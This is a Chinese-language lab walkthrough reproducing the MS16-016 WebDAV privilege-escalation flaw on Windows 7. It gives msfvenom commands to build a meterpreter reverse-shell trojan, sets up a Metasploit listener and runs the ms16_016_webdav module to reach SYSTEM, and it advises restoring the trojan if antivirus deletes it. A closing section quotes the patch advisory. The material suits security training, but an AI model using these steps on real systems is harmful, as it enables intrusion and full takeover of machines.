环境说明
- 渗透机操作系统:kali-linux-2024.1-installer-amd64
- 漏洞复现操作系:cn_windows_7_professional_with_sp1_x64_dvd_u_677031
1 MS16_016 简介
MS16_016 漏洞产生的原因是由于 Windows 中的 WebDAV(分布式创作和版本管理)未正确处理客户端发送的信息,攻击者可以运行经过特殊设计的应用程序,从而提升权限。
2 MS16_016 复现过程
在开始之前请关闭靶机的防火墙, 关于渗透机和靶机环境的搭建可自行Bing
靶机需 32位 Windows系统,一定是32位的操作系统,要不然不能成功实现,有知道原因的可以留言
步骤01、
打开网络拓补,单机 “启动”按钮,启动实现虚拟机,如图所示。
步骤02、
使用 ifconfig
和 ipconfig
命令分别获取渗透机和靶机的IP的地址,使用ping
命令进行网络 连通性测试,确保网络可达。
渗透机的IP 地址为 192.168.254.134,如图所示。
渗透机的IP地址
靶机的IP地址为 192.168.254.131,如图所示。
靶机的IP地址
步骤03、
在 Kali 终端下 使用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=渗透机IP LPORT=木马通信端口 -f 输出格式 > 文件名
命令 生成木马文件,如图所示。
-p 指定需要使用的 载荷(Payload)
命令执行结束,在 /home/kali 目录下创建文件 theRavensea.exe ,如图所示。
文件生成在我们当前终端所在的目录下
步骤04、
使用 msfconsole
命令启动Metasploit 渗透测试平台,如图所示。
启动 Metasploit
步骤05、
使用 use /exploit/multi/handler
命令调用监听模块,同时使用 set payload windows/meterpreter/reverse_tcp
命令,设置本地监听的地址 192.168.254.134,设置监听端口 8888,最后使用 show options
命令查看最终的配置,如图所示。
查看配置参数 (端口号要与生成木马的端口号一致)
使用 run
或者 exploit
开启监听模式
运行溢出模块
步骤06、
将步骤3 中创建的木马文件复制到靶机中。复制过程中如果木马文件被安全软件删除,恢复即可。再运行木马,运行结束后,渗透机将会获得一个 meterpreter 会话,如图所示。
在靶机中打开 木马程序运行
获得 session 会话
步骤07、
使用 shell
命令启动 Meterpreter 下 cmd 的 Shell 终端,如图所示。
获取操作系统的 Shell
使用 whoami
命令查看当前的系统权限,如图所示。
查看用户权限
步骤08、
使用 background
命令将会话置于后台,会话编号为 1,如图所示。
exit 退出 Shell 终端
步骤09、
使用 use exploit/windows/local/ms16_016_webdav
命令调用漏洞利用模块,同时使用 set SESSION
命令设置刚才获得权限的会话,使用 set LPORT
命令设置载荷模块的监听的本地端口,然后使用 run
或者 exploit
命令运行该模块,如图所示。
使用 ms16_016_webdav 模块,将会话进入高权限进程
使用 ms16_016_webdav 模块,将会话注入高权限进程,执行结果可知会话被成功注入 “1628” 进程,如图所示。
获取注入的进程号
步骤10、
使用 set sessions
重新进入会话,如图所示。
进入注入进程,进程号为2720
步骤11、
使用 shell
命令启动 Meterpreter 下 cmd 的 Shell 终端,查看获取的会话权限,如图所示
会话的权限为 “system” , 即为系统权限,提升权限成功
3 MS16_016 安全加固
步骤12、
此安全更新可解决 Microsoft Windows 中的漏洞。 如果攻击者使用 Microsoft Web 分布式创作和版本控制(WebDAV)客户端将专门制作的输入发送到服务器,则漏洞可能会允许提升特权。
对于 Windows Vista、Windows Server 2008、Windows 7 和 Windows Server 2008 R2,以及 Windows 8.1、Windows Server 2012、Windows Server 2012 R2、Windows RT 8.1 和 Windows 10,此安全更新的评分为重要。 有关详细信息,请参阅 “受影响的软件 ”部分。
安全更新通过更正 WebDAV 验证内存的方式来解决漏洞。 有关漏洞的详细信息,请参阅 “漏洞信息 ”部分。
官方安全公告